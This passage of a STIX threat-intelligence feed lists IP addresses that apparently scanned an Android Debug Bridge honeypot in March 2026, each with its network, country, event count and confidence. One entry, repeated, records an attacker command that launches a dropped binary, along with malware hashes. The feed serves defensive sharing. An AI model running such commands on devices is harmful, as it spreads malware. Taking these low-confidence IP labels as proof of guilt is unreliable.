          "last_seen": "2026-03-16T12:04:43.766Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T13:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-16T12:03:38.000Z | last_seen=2026-03-16T12:04:43.766Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--0a03e6fb-f243-423e-9825-439dd6a26d1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.255.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T13:00:04.000Z",
      "valid_until": "2026-04-17T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-16T12:03:38.000Z",
          "last_seen": "2026-03-16T12:04:43.766Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=55 | first_seen=2026-03-16T13:05:54.000Z | last_seen=2026-03-26T22:03:47.446Z | ports=5555 | cc=DE,LU | asn=51396,214472 | org=Pfcloud UG (haftungsbeschrankt),Offshore LC",
      "id": "indicator--c96bf07f-0bff-44ad-9f6e-9f05368a56f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T14:00:03.000Z",
      "valid_until": "2026-04-17T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 55,
          "first_seen": "2026-03-16T13:05:54.000Z",
          "last_seen": "2026-03-26T22:03:47.446Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE",
            "LU"
          ],
          "asn": [
            "51396",
            "214472"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)",
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-16T13:06:21.000Z | last_seen=2026-03-16T13:16:31.560Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--182707d2-c789-40c8-b64d-ad3a5df02447",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T14:00:03.000Z",
      "valid_until": "2026-04-17T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-16T13:06:21.000Z",
          "last_seen": "2026-03-16T13:16:31.560Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-16T13:05:36.000Z | last_seen=2026-03-16T13:06:42.277Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--61e68289-e3d9-4bd6-b968-15ee3e0d2ff5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T14:00:03.000Z",
      "valid_until": "2026-04-17T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-16T13:05:36.000Z",
          "last_seen": "2026-03-16T13:06:42.277Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=51; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=51 | first_seen=2026-03-17T06:21:53.000Z | last_seen=2026-03-17T06:32:36.356Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--d78f6594-5cc6-4b31-b6e1-50929968b148",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '24.1.246.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T07:00:04.000Z",
      "valid_until": "2026-04-18T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 51,
          "first_seen": "2026-03-17T06:21:53.000Z",
          "last_seen": "2026-03-17T06:32:36.356Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T07:00:43.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=51; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=51 | first_seen=2026-03-17T06:21:53.000Z | last_seen=2026-03-17T06:32:36.356Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--d78f6594-5cc6-4b31-b6e1-50929968b148",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '24.1.246.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T07:00:43.000Z",
      "valid_until": "2026-04-18T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 51,
          "first_seen": "2026-03-17T06:21:53.000Z",
          "last_seen": "2026-03-17T06:32:36.356Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=28 | first_seen=2026-03-17T07:46:26.000Z | last_seen=2026-03-30T12:46:39.567Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--8a4d0218-6f8b-460b-88bc-3ccd87cf41f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:00:03.000Z",
      "valid_until": "2026-04-18T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 28,
          "first_seen": "2026-03-17T07:46:26.000Z",
          "last_seen": "2026-03-30T12:46:39.567Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-17T07:45:30.000Z | last_seen=2026-03-17T07:46:32.601Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--0f4aa8e6-7526-46be-badf-7ca1c82cf298",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:00:03.000Z",
      "valid_until": "2026-04-18T08:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-17T07:45:30.000Z",
          "last_seen": "2026-03-17T07:46:32.601Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-17T08:29:12.000Z | last_seen=2026-03-17T08:30:15.254Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--9d8b114f-6ad1-4890-9cbe-4391641bef9a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '117.68.74.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T09:00:02.000Z",
      "valid_until": "2026-04-18T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-17T08:29:12.000Z",
          "last_seen": "2026-03-17T08:30:15.254Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-17T11:23:10.000Z | last_seen=2026-03-17T11:34:38.332Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--56d9b25d-92f5-412c-b1c4-df8a41613901",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T12:00:02.000Z",
      "valid_until": "2026-04-18T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-17T11:23:10.000Z",
          "last_seen": "2026-03-17T11:34:38.332Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-17T11:23:10.000Z | last_seen=2026-03-17T11:34:38.332Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--56d9b25d-92f5-412c-b1c4-df8a41613901",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T12:00:03.000Z",
      "valid_until": "2026-04-18T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-17T11:23:10.000Z",
          "last_seen": "2026-03-17T11:34:38.332Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=60; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=60 | first_seen=2026-03-17T13:20:35.000Z | last_seen=2026-03-17T13:32:46.930Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd. | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--a35c89df-0944-4934-a227-c5c4f6691079",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '223.104.221.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T14:00:03.000Z",
      "valid_until": "2026-04-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 60,
          "first_seen": "2026-03-17T13:20:35.000Z",
          "last_seen": "2026-03-17T13:32:46.930Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=60; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=60 | first_seen=2026-03-17T13:20:35.000Z | last_seen=2026-03-17T13:32:46.930Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd. | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--a35c89df-0944-4934-a227-c5c4f6691079",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '223.104.221.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T14:00:03.000Z",
      "valid_until": "2026-04-18T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 60,
          "first_seen": "2026-03-17T13:20:35.000Z",
          "last_seen": "2026-03-17T13:32:46.930Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-17T15:32:30.000Z | last_seen=2026-03-17T15:33:33.912Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--7d4ed305-879a-4a76-8bda-a876e9490ba9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.71.13.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T16:00:02.000Z",
      "valid_until": "2026-04-18T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-17T15:32:30.000Z",
          "last_seen": "2026-03-17T15:33:33.912Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-17T15:32:30.000Z | last_seen=2026-03-17T15:33:33.912Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--7d4ed305-879a-4a76-8bda-a876e9490ba9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.71.13.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T16:00:03.000Z",
      "valid_until": "2026-04-18T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-17T15:32:30.000Z",
          "last_seen": "2026-03-17T15:33:33.912Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-17T17:00:02.000Z",
